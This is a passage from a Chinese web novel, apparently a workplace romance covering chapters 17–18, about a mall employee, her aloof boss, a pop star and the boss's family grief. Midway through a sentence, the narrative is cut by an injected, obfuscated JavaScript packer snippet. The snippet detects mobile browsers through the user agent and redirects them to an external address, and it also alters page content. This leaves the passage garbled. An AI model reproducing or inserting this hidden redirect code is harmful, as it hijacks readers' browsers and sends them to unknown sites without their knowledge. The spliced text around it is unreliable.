是在晚上到家准备洗漱的时候,手机突然弹出邮箱的来件提醒。李总回复道:“方案翔实有创新,绿野潞城店可以考虑尝试,我先向集团汇报。” 许昭弥的心里开满了小花儿,一朵两朵,红的黄的,那么灿烂。其实难吗?不难。这样的方案谁都可以写出来,难的是那份坚持。很多人会在遭遇第一次闭门羹的时候就选择放弃,或者放不下商管的身段。所以真正的挑战,往往不是外在的障碍,而是内心的勇气和坚持。 许昭弥之后在职场的很多次勇往直前都是从这个夜晚拉开序幕的。她很开心,把李总回复的截图发给了陆以宁,迫切期待着能得到一个什么样的答复。 陆以宁这会儿正在喝酒,不是酒吧夜店,就一安安静静的私人小酒馆,只有他一个人,凄凄凉凉的。 他脱了大衣,解开袖扣。表情清清冷冷。在低头倒酒的时候,他看了一眼手机屏幕上进来的消息,回复了一个“加油”。 酒液入口,满是苦涩,每年的这个日子他都要来上这么一壶。每年给空座位上的人倒酒的时候,他的眉头都会皱起,脸色苍白难过。可今天他却笑了一下。是连自己都没有察觉的改变。 到一月的时候,气温彻底冷了下来。三楼正好有家冬装店打折促销,许昭弥给自己买了件羽绒服,又给爸妈和爷爷买了几件新衣服寄回了家。陆曼青喊她来家里吃饺子,说过冬必须要常吃饺子,这样才不会冻耳朵哦。 许昭弥就带着礼物去看她。陆曼青品味时尚,也不缺衣物,许昭弥给她买了支洋甘菊味道的护手霜,是她自己常用的牌子。她记得陆曼青说过好多次喜欢这个味道,果然收到礼物后的陆曼青很喜欢。她也有礼物送给许昭弥,叫何阿姨从楼上取下来,是一条崭新羊绒围巾,质地手感都特别特别好,许昭弥有点受宠若惊了。 同样吃惊的还有陆以宁。那是陆曼青年轻时候和Velourisa 设计师一起设计的,独一无二,是她人生最辉煌时刻的证明,也是她具有情感历史意义的一份最珍贵礼物。薇珞诗有多高端呢?最贵的一款罗纹围巾售价四万九千欧,折合人民币约三十八万,是全球奢侈品羊绒围巾中历史最悠久材料最优质的奢侈品牌。 许昭弥知道Velourisa,但不知道这条围巾的来历,自然也不知道它的价值。她只觉得感动,好好收藏起这份心意,贴心陪陆曼青一起包饺子。外面下着大雨,天气恶劣,可屋子里却亮着暖色光束,有欢笑、有暖气,其乐融融。陆大少爷难得“屈尊降贵”,和几个女人一起上桌包饺子,还被人家嘲笑。他包的饺子实在太丑了!许昭弥就那么看着他自暴自弃,一会儿把面团捏成乌龟,一会儿捏只小船,就是不好好包饺子。不小心和他对视一眼,发现他目光却落在自己身上,彼此心跳都漏了一拍。许昭弥微微脸红,却还是朝他乐出了声,开心得像个小傻子。 安旎的电话就是这时候打来的。她这飞机差一点就降落不了了,哪知潞城天气这么恶劣?她先经纪人和团队提前一周回了潞城,是自己偷偷改的机票,所以没有工作人员来接她,事先约好的顺风车也因为恶劣天气被取消了,安旎骂骂咧咧给陆以宁打电话。是在饭桌上,热气腾腾的饺子刚刚端上来,大家刚准备开动,陆以宁挂了电话后便起身往玄关走。 “我出去一趟。” 陆曼青听到电话里安旎的声音,知道他要去见谁,起身拦在玄关前说什么不让他走。许昭弥从没见过他们母子之间如此剑拔弩张的场面,自己也吓了一跳,就很尴尬地坐在那儿,偷偷去看陆以宁的表情。 安旎终于回来了吗?怪不得他刚刚这么着急,外面风雨这么大,一个人被困机场一定很害怕吧?何况她还是个大明星,被人认出那不就糟了?许昭弥乱七八糟想了很多,再看陆以宁皱眉沉默的表情,忽然就很理解他了。 “那让弥弥陪你去。”陆曼青最后这么说。她不愿与陆以宁争吵,这是她所能做出的最大让步。没想到陆以宁竟然也没拒绝,走过去牵起许昭弥的手,帮她把衣服取下,随后与她一同来到车库。 许昭弥就这样稀里糊涂坐上了他的车。 车子开的很快,陆以宁看起来十分着急。 “您把我放到路口就好,我打车回家吧。”等车子开出去好远,许昭弥才反应过来。 “一起。” “啊?” “不然呢?”又踩油门。 “哦。”许昭弥偏过头去不再讲话。这感觉就真的好奇怪。他们见面要她陪着干什么呢?她尴尬别扭,又说不出来,只能默默坐在后排一言不发。 陆以宁透过后视镜看她一眼。耸拉脑袋一声不吭,好像被谁欺负了一样,胸口没来由气闷。外面雨这么大,把她不负责任丢在路边才是欺负好吧?脑子怎么就这么不灵光呢? 何况他又不是去约会,就他妈去机场接个人而已。 不想理她却还是在几次变灯看向后视镜的瞬间偷偷看她,他什么时候这么在乎她的心情了? 许昭弥不想同他讲话,一路上就真的一句话不说。到机场的路很远,晚高峰还遇到堵车,是在一个等灯的路口,陆以宁终于忍不住开口,打破车厢里的怪异气氛。 “绿野谈的怎么样了?” 许昭弥回过头来看向他,意识到他在和自己谈工作,于是马上认真起来。 “总公司还在评估中,说是五个工作日内给答复,但李总说可能性很大。” 陆以宁手指在方向盘上点了点,又问了那么一句, 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陆以宁顿了一下,觉得光是这些专业术语就能把许昭弥这白痴唬傻了,于是思索几秒,换了个说法,“说明白点,假如连华倒闭,这种情况下你失业了,那你有什么打算?” 许昭弥立刻朝他瞪眼,“连华也会破产?怎么可能?”它可是世界百强企业呢!董事长蒋鸿渐先生还是胡润排行榜上的top呢!许昭弥虽然只是连华集团的一个小卡拉米,但是也是很有自豪感的。我在一家很牛的企业上班。我们连华才不会破产呢。 “许家印都能破产,你说呢?”许昭弥口中的大Boss蒋鸿渐先生就是陆以宁的亲爷爷,他是蒋家唯一一个从出生就随母姓的孙子辈,又行事低调,身份至今很少被人知道。蒋爷爷此刻远在香港,肯定打了好几个喷嚏,这个不肖子孙竟然诅咒家族破产!陆以宁却微微扬起下巴,一副完全不把家世放在眼里的态度。 “工作多年,经历若只停留在事务性执行层,既没构建专业壁垒,也没积累资源网络,本质上则与应届生的人力资本无异,甚至还不如他们,你的职业可替代性高达80%。” “不,百分之百。” 陆以宁又说,“我那天说话确实难听了点,实际我并不是在否定你为公司的付出。许昭弥,我认可你的职业忠诚度,但更期待你能实现人力资本的持续增值。你要记住,即便是基础性工作,也要建立起闭环思维,将日常操作转化为可迁移的核心能力,当然这也是你们营运部人才流失率居高不下的根本原因——大多数员工都在重复劳动中无限消耗自己的职业生命力。” “真正的职业安全不在于企业规模,而在于个人是否具备核心竞争力。未来即便不在连华工作,去到别的岗位应聘时也能从容应对,届时选择权自然会向你倾斜。” 陆以宁从来没有同她讲过这么多道理,事实上呢?不只是她,对任何人都没有过。而且语气也从来没有这么温和过。所以他今天是不是又犯什么病了?说完在心里吐槽自己,又一次闲出屁了。 这令他有一点不满,总觉得最近的自己好像变了个人。他不该是这样的。然而许昭弥却大受触动。她一句话也没说,只是默默把目光扭回了窗外,望着天光放晴后用力冲破云层染红天边的那一抹夕阳,在疾驰的绿化带间开始了人生第一次关于职业规划的思考。认真的。 一个小时后抵达机场航站楼前。 17.便利贴与荒原狼17 一个小时后抵达机场航站楼前。 安旎火速上了陆以宁的车子,甚至许昭弥都没有反应过来,她人就已经坐在副驾上了。 摘掉墨镜口罩向后看了一眼,也没怎么意外,许昭弥只听她朝陆以宁抱怨了一句:“提醒你秘书别偷拍我啊!老娘今天没化妆。” “你自己没长嘴?”陆以宁开口便怼回去。 安旎哼了一声,扭过头提醒许昭弥:“妹妹,不要偷拍哦~” 许昭弥着实被这相处方式吓到了,连忙摆手说:“放心放心,我不会偷拍您的……”深呼一口气,忙扭过头去,假装自己是个隐形人。 这也太尴尬了。 不过她可是安旎呀!就刚刚那么一眼,许昭弥就被震撼了。她的皮肤好白呀,眼睛怎么那么大呢?人也是小小薄薄的一只,比电视上看起来还要精致。扭过头的时候身上甚至飘来一阵香气,许昭弥后知后觉心跳了起来,哦吼,见到大明星了耶! 之后听到安旎问陆以宁,“你想我了吗~”声音有一点小女生的娇羞。 陆以宁下意识皱眉,去看后视镜。看到后视镜里的傻子慌慌张张把头低下,拿出耳机塞进耳朵里,耳垂呢,又有一点不自然地泛红,一副“我什么都没听到”的样子。 干她屁事? 许昭弥非礼勿听。想给自己转移注意力,拿出手机给曲琳琳发消息:【琳琳!我见到安旎本人了哦!但是不能偷拍嘿嘿】 【什么什么?安旎去你们商场参加活动吗?】 …… 陆以宁脸色不好看,油门就踩得很猛。 “还不高兴呀?”安旎笑嘻嘻看他,“你当时一声不吭走了,我正在气头上,所以才和记者那样讲你。不然下次采访替你澄清一下?” 后面许昭弥就听不见了,因为她把音乐声调得很大,还是摇滚乐。总觉得心里有什么东西就要溢了出来,需要更激烈的摇滚乐才能将它压下。 “澄清什么?” “你知道咯。” “我跟你也没熟到那种程度。” “你这人还是这么讨厌。” 陆以宁不再同她斗嘴,也不再分神去看后排那个傻子,只专注开车。安旎问她去哪,他答酒店。 过了那么一会儿,许昭弥微信弹出一条信息,她微微睁大眼,竟然是陆以宁发来的。 ? “聋了?” 许昭弥马上摘掉耳机,抬头挺胸,欸了一声! 刚刚陆以宁喊她好几遍,她戴着耳机愣是一句没听到。逗得安旎都乐了。 陆以宁脸色铁青问:“回家还是回哪?先送你。” “哦、好。”许昭弥看到前方不远处就是车站,马上收拾东西准备下车,“您就在前面车站帮我停下就好了,谢谢。”露出一个贴心微笑。 陆以宁把车停在站前。许昭弥抱着包包和陆曼青送她的围巾利落跳下了车。 “这么黑的天把人家一个小姑娘丢在路边,你不懂得怜香惜玉。”安旎乐着调侃他。 陆以宁也不理会。油门踩得更猛,一言不发开到酒店。 到了大门口,陆以宁说:“下车。” “你不送我进去?”安旎反应过来,抱肩轻哼,“那我不住酒店,我住你家好了。” “安旎,你最近有点过了你明白吗?” “我不想住酒店不行吗?我之前在电话里和你说了我不要住酒店,让你帮我找房子,你有把我话放在心上吗?” 安旎本身也不是什么乖乖女,实际她性格泼辣火爆,只不过刚刚有许昭弥在场,她要维持自己公众人物的形象罢了。 “不行。” “好啊,那你把蒋奇睿的钥匙给我,我去他那儿住!” 陆以宁手握方向盘上,指尖用力蜷缩,泛起苍白,很久后才平复。 “下车。”他压抑着怒火。 “我再说一遍,给我钥匙我去他那儿住。” 安旎深呼一口气,咄咄逼人,“怎么?蒋奇睿是我男朋友,他死了,我们曾经的房子我不能住吗?”她突然有了一点激动,“你哥临终前让你照顾好我,你很委屈吗?不是你,他也不会死!” “下车。别再让我说最后一遍。” 安旎摔门下车。 陆以宁的心情特别糟糕,糟糕到甚至无法专注开车的程度。他抽了几根烟后才让自己镇定下来,却又把油门轰到最大,就这么漫无目的地冲上了高速,开到哪算哪。 许昭弥还没等到回家的公交。机场方向回市区的公交实在太难等了。雨后傍晚空气质量很棒,但是却特别湿冷,许昭弥穿的不多,在公交站牌前冻得直打哈哈。是在原地转圈取暖的时候,发现车站不远处正好有家小餐馆。 有点饿了,就进来点了碗面。瞧见隔壁桌的工人兄弟炸串吃的正香,许昭弥咽了咽口水,也决定放纵一把,当是犒劳自己这段时间努力的奖赏,又额外点了一串鱼豆腐、一串土豆片、一串蟹□□和一串牛肉串。都是她最爱。 等餐的时候也没闲着,许昭弥拿出手机打开小红书,想看看昨天发的帖子情况怎么样了。本来也没抱什么太大期望,因为在这一个多月里她的流量一直不太好,最好的时候也就三四百个赞,其余大多在几十赞上下徘徊。可没想到惊人的一幕出现了,后台消息显示“99+”,新增关注、评论、赞和收藏全都爆了! 许昭弥收获了人生中的第一个爆款。在早中晚坚持每天发布三条精心打磨的原创作品,连续坚持了四十多天后,终于迎来了一条7.9万赞以及5.8万收藏的爆贴推文,一夜之间涨粉上万! 那条帖子是许昭弥真人出镜的,为她最爱的几款伍氏糕点做的美食测评。那几年自媒体刚刚起步,抖音、快手等短视频平台也才刚刚流行,美食测评博主还不太多。她的帖子凭借新鲜的内容、好玩的画面和有趣的语言,让伍叔家一款名为“黄金竹”的糕点瞬间走红网络。评论区里大家纷纷求地址想去打卡。许昭弥太开心了,她就知道坚持是一定有用的。 正好面也被端了上来,还有外表金脆酥黄的炸串。许昭弥低头认真回复着每一条评论,一边呢,又吃着热气腾腾的面条,嘴角不自觉上扬。忽然就觉得今天过得其实也不算糟糕。哦不,今天过得简直太棒了! 于是陆以宁是什么时候坐在她对面的都不知道。只是当她抬起头来的时候突然被吓了一大跳。 “你怎么在这儿?” 陆以宁那会儿的脸色还有一点红,像是刚刚进行完激烈运动之后的状态,正在逐渐缓和。他抱着肩膀,就那么看着她。一个白白净净的姑娘坐在满是建筑工人拼桌的小苍蝇馆里,丝毫不在乎周围环境,吃得津津有味,脸上甚至挂着灿烂笑容。陆以宁心里忽然涌起一点说不出来的感动。 是那种清澈顽强,干净耀眼的生命力,足够将他心头阴暗一扫而光。 是啊,他怎么会在这呢?原本开车在城市漫无目的行驶,不知不觉来到她家楼下,抬头看着那扇黑暗的小窗,好像就有了一种奇妙的心电感应,觉得她还没走,就这么一路飙车冲了回来。 是一路上剧烈搏动的心跳,站前寻觅不到她身影时的不安,是在失望转身之际,于马路对面小餐馆门旁发现她孤单身影时陡然生出的那一点欢喜。 陆以宁终于承认他是开心的,在见到许昭弥的那一刻。 但嘴上绝不承认。 “不回家,在这儿故意拖延时长?” 拖延时常?许昭弥反应了一下,才明白他在内涵什么。她才没有故意拖延时常好么!今天的报酬她都没打算收的…… “不是哦。是我没有等到车,而且也饿了。”许昭弥就解释了那么两句,再次问他,“所以你为什么在这儿呢?” 陆以宁好像没听到一样,继续无视这个话题。正好他也饿了,他也还没吃饭呢,发疯最耗体力了。想到刚刚她吃东西的样子,陆以宁瞥了一眼桌上的食物,皱起了眉。这种垃圾食品也能吃得这么香?一脸嫌弃可手却不由自主地伸了过去。 许昭弥立刻按住他手,小狗护食似地呲起了牙,“这是我点的!” “我不能吃?” “那我再给您点?”反正她点的她都要吃的。 “不吃了,真小气。”陆以宁生了气,把手抽回来,双手叉胸盯着她。 或许是相处久了,许昭弥竟然能一眼看出他是真的假的。就比如现在,她能看出他不是真的生气,而是假装。所以也没理他,低头继续吃自己的牛肉面,顺手回评论。 可又有点忍不住好奇,总想偷偷瞟他。看他此刻的表情,心里好多问题困扰着她。安旎呢?他不是送安旎去酒店了吗?怎么丢下她一个人走了?又怎么会出现在这里? “怎么这么开心?”陆以宁问。指的是他一进门的时候看到她边吃面边捧着手机咧着嘴巴傻乐的样子。 许昭弥就赶紧把手机递过去给他,“伍叔的店火啦!好多网友都要去莲花打卡呢,还有美食博主自发去测评。不到两个月的时间哦!”表情里有一点小得意。看起来就有那么一些可爱。 陆以宁忽然发现这姑娘的另一个品质。一旦认准了一件事便会坚定不移地坚持去做,不会因为挫折困难就放弃,而且有着常人难以企及的毅力。尤其那件事可以切切实实地帮助到别人。他回想自己这不算漫长却也历经波折的三分之一人生,所遇之人形形色色,却很少能在其他人身上看到这样纯粹且坚定的品质。 他想到在潞大念书时的那一年,社团里有个小女孩,唱歌很好听,但是胆子却很小,一到台上就紧张。是在无数次排练结束后,有一个姑娘总是自愿留在排练室里陪着她。她坐在台下,成为那个女孩唯一的观众,默默为她鼓掌,鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293094|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 励她勇敢,无私奉献出自己的时间。即使后来那个女孩在舞台上光芒四射,而她依然只是一个无人问津的后勤小组长,却依然开心别人的绽放。 ~ 陆以宁出差了。总部召开年度经营分析大会,要求全国莲花商场项目负责人都必须参会。许昭弥是在陆以宁走后的两天才知道他出差的,这两天办公室里氛围懒洋洋的,一方面领导不在,少了些紧迫感;另一方面又临近年终,打工人的打工魂就都有点倦怠。 “baby,安旎来潞城了你知道不?”贝诗楠给许昭弥看安旎的行程图,那是她从粉丝群里辛苦扒来的。 许昭弥就看了那么两眼:安旎会在潞城待上三个月的时间,期间要拍摄两支MV,参加两场代言活动,进组一部现代戏,还得为于晓沁即将在年后开业的首店官宣配合做宣传。行程安排的满满当当,看起来挺忙的。 “你说男神也出差了,怎么就这么巧?会不会是因为安旎来了,所以故意的呀?说不定现在正陪着安旎私下里甜甜蜜蜜呢!” “不会吧?不是总部在开年终总结会吗?还要部署下一阶段发展策略和目标呢……”许昭弥摇了摇头。在她的认知里,陆以宁应该不会是那样的人。她心中对陆以宁有着一份莫名笃定的信任,相信他对待工作有着极高的严谨性和认真的态度。而这份信任连她自己也没意识到是何时建立的。 “也是,没见过男神对哪个女人这么上心。”贝诗楠也是随便说说。 “就是就是。” 陆以宁不在的日子,大家都有点松懈。虽然年货节马上又要来了,即将开启新一轮战斗,但是呢,因为处在年底,一想到放假大家的心就都有点飘了。许昭弥就把年假当作动力,打起精神准备年终最后的冲刺。 其实这几天她的心情特别的好。李总终于给出了明确答复,并邀她与大姚下周一同到绿野祥谈。莲花近期也因伍氏糕点的爆火而小火了一把,甚至登上了潞城电视台的生活新闻栏目。 那天伍叔穿得特别隆重,一身西服,戴着礼帽,笑眯眯地接受记者采访。当谈到已故妻孩的时候,弯着的眼睛里噙着热泪,现场媒体工作人员无不为之动容。许昭弥就在旁边看着,手指不时滑过脸颊,为他难过同样也为他开心。 结束采访后和五叔小酌几杯,伍叔执意请客,许昭弥也没拒绝,“就当是沾沾您的喜气喽!” 伍叔说了特别多感谢她的话,许昭弥突然想到,其实最该感谢的那个人不是她,而是陆以宁。 当时会上坤总拿这件事大做文章,质疑他徇私,还暗讽他双标。会后也有其他同事私下里怀疑他受贿。许昭弥一直清楚公司内部存在两个派系,陆以宁作为空降高管,与元老级的坤总之间矛盾不断,许多同事私下里倾向于支持坤总。然而陆以宁做事向来严谨周密,几乎挑不出毛病。只有这一次情况特殊,清退所有不合规商户是他提出的,然而伍叔却能获得延期处理的机会。这是陆以宁唯一一次行为受到质疑,而且是他本人在会议上力排众议做出的决定。也正是这次事件影响了陆以宁的声誉。许昭弥去求情之前没有考虑那么多,后来想想觉得挺内疚的,所以她才会加倍努力,想要把这件事情做好。 这天许昭弥和伍叔喝的都有一点点多,他们真的很开心。最后伍叔不让她一个女孩子再喝了,只自斟自饮了一杯,独自忆起了亡妻。是在一个温馨的小饭馆里,坐在靠窗的位置。这时外面下起了雪,许昭弥捧着微微发烫的脸颊,偏头望着天空中飘洒的雪花,这样一个温馨的片刻,令她觉得静谧的幸福都变得具体起来。 她很想知道香港下雪了吗?听说香港很少下雪,陆曼青说陆以宁从小就喜欢雪,小时候每年冬天都嚷嚷着要去瑞士玩雪,还和她讲过许多陆以宁小时候有意思的事,说他那时像个调皮捣蛋的小皮猴。许昭弥每次听都想象不出来,觉得和他现在的样子差别太大了。 所以他什么时候回来呢?潞城今年冬天的雪真的好漂亮,再不回来雪就要下完了哦。这样想着,脸颊似乎又微微烫了一些。 许昭弥捧着脸,总觉得今年冬天似乎一点也不冷,她是被一颗叫做“柔软的心”温暖着的。是在有一天,她意外看到陆以宁装作普通顾客走进伍叔的店铺,买了几块糕点后在留言墙上留下了一句鼓励赞美的话。就这样意外看到了某个人坚硬外表下的那颗柔软的心。 “伍叔!”许昭弥突然冒出一个想法,她回过头,笑眯眯地拜托他:“您能不能亲自教我做一款糕点呀?我想偷偷跟您学个艺。”然后送给陆以宁,当作感谢他的礼物。其实许昭弥一直都想感谢他的,可又觉得他这个锦衣玉食的公子哥似乎什么都不缺。想来想去,觉得亲手做的礼物总归意义更好一些吧? 那时陆以宁出差已经很久了。秘书说陆总今天会回来。于是许昭弥在下班后特地去找伍叔做了那款最为经典的黄金竹。 18.便利贴与荒原狼18 许昭弥跟着师傅练习一个多星期,为此还特地学习了两项非遗工艺。 模具的竹刻艺术以及传统染色工艺。用天然植物提取的染料给黄金竹上色,更加环保且富有层次。虽然最终成品没有那么尽善尽美,但是也算有模有样。 她做了莲蓉和红豆沙两种口味的,用牛皮纸包好提回了办公室。 直到天黑的时候,晚班同事陆陆续续到岗,许昭弥交接完工作后依旧坐在工位上。 她不时去瞟陆以宁办公室的方向,最后一次看过去时,秘书小李已经准备去锁办公室的门了,许昭弥赶紧拿了份文件装装样子跑过去,“小李,怎么锁门了,陆总今天不回来了吗?” 小李抱歉地笑笑:“我也不确定欸,你有什么急事吗?” “不急不急。”许昭弥回到工位,把文件放回桌子上,又看了看手边那份精心包好的糕点。想了想,还是决定给陆以宁发条信息。 鼓起勇气拿起手机,准备打字的时候才发现和他的对话还停留在安旎回来去他家里吃饺子的那天。 【您今天回来吗】许昭弥停顿了一下,觉得这样好像不太自然,想了想又补充一句【好久没去看阿姨了,如果您今天回来,我准备和您一起去看她】 这样就自然多了。许昭弥没意识到自己是有点掩耳盗铃的小心思在里面的,信息发出去,她也没了工作的心情,捧着手机在工位上焦急地等。 又过了两个小时,许昭弥还是没有收到任何回复。难道这会儿刚下飞机?手机刚刚才有信号?这样想着许昭弥又趴在桌子上等了一会儿,指尖点在糕点上,有节奏地敲呀敲,打发时间。 贝诗楠今晚夜班,刚刚从商户那里处理完投诉回来,晚饭都没还没吃,饿得要吃人。 看到许昭弥桌子上有点心,两眼放光,立刻要拆开吞了,幸好被许昭弥眼疾手快护在怀里,“不可以哦!”这才幸免遇难。 “怎么不可以?有毒?” “不不是的……这是我准备一会儿送人的。”许昭弥越说越不好意思,声音小小的,“你想吃什么呀贝贝?我去给你点外卖,或者我亲自下去给你买!猪脚饭好不好?” “算了吧,我自己点,我又不是没手。”贝诗楠努了努嘴回到自己工位,拧开瓶可乐咕噜咕噜灌了两口,大字一摊,先他娘的歇会儿再说。 许昭弥抱着糕点继续等,终于等到所有人都下班了,商场打烊了,还是没有等到陆以宁的回复。 贝诗楠突然尖叫了一声,在同事纷纷投来的目光下捂住嘴巴悄咪咪地来到许昭弥身边,特激动地把手机递给她。 “快看快看!安旎更新微博了!”她是大明星,更新微博不是很正常吗?许昭弥不懂贝诗楠有什么好激动的。 目光投向屏幕,就看到安旎发的几张照片,每一张都很美都有意境,ip地址是在香港的南果洲群岛。 九宫格最中间的一张照片是一个男人站在海边抬头看星星,只有一个穿着黑色冲锋衣的挺拔背影,引人遐想。 其他几张是安旎在丛林徒步的照片。评论区炸了,都在纷纷猜测那男人是谁,安旎轻飘飘回复一句:“只是向导而已,不要乱猜啦宝宝们~” “向导个鬼啊!那大长腿!那就九头身!那背影那气质!不是男神我把手机吃了!”贝诗楠朝许昭弥撇撇嘴,做了一个【你瞧我说什么来着的表情】 许昭弥又盯着中间那张照片看了两眼,那肩宽腿长的男人不是陆以宁又是谁呢?她没有说话,不知道说什么,她还能说什么呢? 贝诗楠却很有的说:“看吧看吧,我就说男神出差这么久还不回来一定有猫腻,果然是借着机会陪安旎游山玩水去了,啧啧啧。” “不过安旎不是刚来潞城吗?怎么也跑香港去了?”恍然大悟,“难道是陪着男神一起去的?哇哦?” 许昭弥的手机屏幕这时候亮了一下,她侧了侧身子后划开屏幕。 是陆以宁发来的,只回了两个字:【不回】 “不回”,这是她等了一整晚等来的回复。 她一晚上什么都没干,就这么白白浪费过去了。她明明应该好好把这个月的报表做完,把今天巡场发现的问题罗列成笔记,以便明早带到晨会上提醒大家。可她却荒废了这样一个夜晚。 她心里在想什么呢?她为刚刚在心底萌发出的那点不切实际的幻想感到可耻。这实在是太荒谬了。 许昭弥承认,她的心里是有一点酸涩的,可此刻更强烈的感受却是难过,她太难过了,不为别人,只为自己感到难过。 “贝贝,你还想吃这个吗?给你吃吧。”她把桌上的那包点心递给贝诗楠。 “想啊!可是你不是要送人吗?” “不送了,你想吃就拿走吧。” 许昭弥心想我以后再也不会去亲手做这些了。可伍叔却教她上了瘾,其实通常情况下,这些可都属于秘方,一般人绝不会传授,但伍叔却乐意教许昭弥。 没过多久后有那么一天,伍叔给许昭弥打电话,还想教她另一款糕点的制作方法,伍叔很高兴也很期待,上次教学黄金竹的时候,许昭弥学的很认真。这可不仅仅是学会一门手艺那么简单,往大了说甚至是传统文化的继承,伍叔觉得这事儿可太让人开心了,甚至比卖出好多好多糕点还要开心。 拒绝的话已经到了嘴边,许昭弥又突然后悔了。所以为什么不学了呢?她学做糕点的时候很开心不是吗?喜欢那就去做啊,不是谁都能有她这样的机会跟着伍叔学手艺的好吧?做好了可以给爸爸妈妈和爷爷寄回去,还能给琳琳和大力尝尝,她可不能因为一个人就放弃这么棒的机会! 许昭弥就在那一刻忽然想明白了这样一件事,人呢,永远不要让心情被他人所左右,因为生活是属于自己的舞台,自己才是主角,要永远用心过好自己的生活,因为这才是人生最重要的事。 …… 陆以宁回香港其实是有两件事。一是回总部开会,这个大家都知道,而另一件就比较私密了,他哥哥的祭日快到了,他得回去祭拜哥哥,这是他的个人行程,连他秘书都不知道。 许昭弥自然也不知道,因此就误解了安旎发布那张照片背后的故事。看似是一场男女深夜密林中的浪漫邂逅,可实际上呢?只不过是蒋奇睿十年前的一个心愿而已。 在陆以宁十六岁那年,哥哥曾带着他和朋友们前往果洲群岛徒步探险,在当年那个还没被现代文明触及的荒岛上,一群年轻人度过了一天自由自在的美好时光。当夜幕降临,他们并排躺在星空下,蒋奇睿许下这样一个愿望:希望十年后的他们还能回到这里看星星。几乎所有人都守住了这份承诺,十年后大家从世界各地纷纷赶回这座小岛,却唯有他缺席了这场重逢。 其实那晚的海边站着好多看星星的人,那氛围并不浪漫,反而是有一点悲伤,只是安旎并没有把蒋奇睿的那些朋友们拍进去。 陆以宁在香港就和安旎见了那么一面。之后两个人便分道扬镳,安旎当天就订好机票回了潞城,而陆以宁回了家里。 “你妈妈身体怎么样了?” “还行,正在等心源。” “需要帮忙就说话。” “暂时不用。国内医院有联系,但质量不太好。我想要好的,所以年底准备再去美国配个型。” 到家后,蒋鸿渐就只和他说了这么两句话。原本两人之间话就不太多,自从他哥去世后,就更是寥寥无几。 陆以宁在这个时间点回来,家里除了爷爷奶奶外的长辈基本都不在。他父亲在外出差,其他叔叔们在公司工作,前几日开会也都见过。陆以宁原本也没打算久待,只是回来看看爷爷奶奶就走。 从爷爷书房出来,就去了孙婉筠的卧室。 老人正在午睡。 陆以宁随手拉了把椅子,坐在床边看了会儿她。 “昨夜又没睡踏实,快天亮才睡着的。”保姆站在他身后轻轻说,语气很是心疼。 陆以宁的眼眶忽然就有了一点红,他低着头,像个犯了错误的孩子。始终都没有讲话,就那么静静坐在那,陪了老太太一午后的时光。 是在临走的时候,脚步轻轻迈过门槛,手刚碰到扶手,身后就传来奶奶的呼唤,“睿睿,睿睿是你吗?你来看奶奶啦?” 陆以宁就那么怔在那里,指尖紧紧蜷在门框,眼眶愈发的红。他垂下头用力吞咽,将喉口酸涩使劲咽下,在转过身来的瞬间扬起嘴角,快步到孙婉筠身边,握住她手说:“是我奶奶,睿睿回来看您了,我在了。” 是什么时候成为了“蒋奇睿”的呢?陆以宁也记不清了,太久远了,那时哥哥去世的噩耗传来,孙婉筠就一病不起,后来人醒了,精神却错乱了,只要见到陆以宁就拉着他的手笑着喊睿睿。 “睿睿啊,睿睿啊。”一声一声像刀子一样割在陆以宁心里,硬生生地割了六年。每一声都在清楚提醒他最爱他的哥哥当年是怎么死的,而他又是多么混蛋。 蒋奇睿多么优秀呢?十五岁就被斯坦福大学破格录取,满分成绩通过哈佛商学院的MBA考试。他天资聪颖、智商超群,是蒋鸿渐和孙婉筠最疼爱的孙子,也是唯一对外公开的孙子辈,打小就被当作蒋家继承人培养的。就是这样一个优秀的天才少年,生命永远停格在了他风华正茂的二十四岁。 陆以宁是在天黑之前离开的。 离开的时候他的腿甚至还有点打晃。 “去看过你奶奶了?”临走前他去蒋鸿渐书房和爷爷告别。 “嗯。” “也去过祠堂了?” 陆以宁默了下,摸了摸发颤的腿:“嗯。” “打算什么时候回总部?” “等我妈手术后稳定下来。” 之后蒋鸿渐也没再说什么,只提醒他路上注意安全。 陆以宁没回潞城,而是飞去了美国。他打算先去美国联系医院,年底再接陆曼青过来配型。没想到这边的手续出了点问题,他就在美国一直待到了年底。 那段时间常常开线上会议,有时是语音,有时是视频。视频的时候,陆以宁身后的天气总是和大家相反,于是大家就都猜到他不在香港了,可具体去哪儿了又没人知道,更没人敢问。 “你说男神不在香港,那去哪儿了呢?安旎最近也不发微博了,两个人不会是度蜜月去了吧?”贝诗楠陷入幻想。 许昭弥却并不关心,陆以宁去哪儿跟她有什么关系呢?她一门心思准备年底的年终大促,争取漂亮成绩,好多领些奖金回家和爸爸妈妈过新年。 人一忙起来时间就过得特别的快。转眼间忙忙碌碌的年货节就这么过去了,新年要到了。 …… 许昭弥完成最后一轮商户年度满意度调查,正和同事们讨论着春节的排班安排。一进办公室,就立刻察觉到氛围有些不同。 早上还热热闹闹的,怎么现在这么安静了?贝诗楠坐在工位上朝她眨眼睛,悄悄指了指陆以宁办公室的方向,用口型提示她:“男神回来啦!” 这会儿大姚正在陆以宁的办公室里做汇报,腰板挺得直直的,表情有点小得意。 这次年货节的成绩可以说是非常棒,不仅销售额相比去年同期有了显著增长,甚至还超越了行业内的绝大多数竞争对手。 “在这次年货节折扣活动中,参与的商家数量比店庆期间要多很多。特别是绿野超市的加入,作为全国唯一提供折扣优惠的分店,成功为咱们莲花吸引了大量顾客。” 大姚特别赞扬了许昭弥的贡献,他说:“许经理不仅成功谈成了绿野超市的折扣合作,还促成了与商场负一层餐饮区的联合促销活动。顾客只要在绿野消费达到一定金额,凭小票在b2用餐就能享受额外折扣。这项策略实施得非常成功,十分显著地提升了快餐业态的销售额。可以说,许经理在本次年货节中发挥了关键作用,功不可没。” 陆以宁突然有点想笑,这些数据他自然早就知道,大姚又当着他面来了一遍,可以说是司马昭之心了。 